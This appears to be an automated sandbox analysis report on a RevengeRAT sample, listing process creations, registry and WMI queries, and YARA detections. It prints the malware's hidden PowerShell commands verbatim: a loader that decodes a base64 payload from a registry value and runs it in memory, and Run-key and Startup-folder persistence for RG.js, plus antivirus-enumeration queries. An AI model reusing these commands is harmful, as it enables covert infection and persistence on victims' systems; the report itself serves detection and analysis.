Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" C:\Users\user\AppData\Roaming\RG.js Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getenvironmentvariable('appdata')+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\rg.js'));wscript 'c:\users\user\appdata\roaming\rg.js'"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getenvironmentvariable('appdata')+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\rg.js'));wscript 'c:\users\user\appdata\roaming\rg.js'" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'cocacola' -value 'c:\users\user\appdata\roaming\rg.js' -propertytype string -force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "[system.io.file]::writealltext([environment]::getfolderpath(7)+'\rg.js',[system.io.file]::readalltext('c:\users\user\appdata\roaming\rg.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: powershell.exe, 00000027.00000002.1046335192.00000000028C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.1046335192.0000000002A07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.1046335192.0000000002D52000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information
barindex
Yara detected RevengeRAT
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR
Found RAT behaviour (information extraction to be send to C&C)
Source: 14.2.powershell.exe.2755020.0.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 21.2.powershell.exe.2a1d128.1.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 21.2.powershell.exe.1e00000.0.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 39.2.powershell.exe.28131d0.0.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 39.2.powershell.exe.2b132a8.1.raw.unpack, IdGenerator.cs .Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)

Remote Access Functionality
barindex
Yara detected RevengeRAT
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
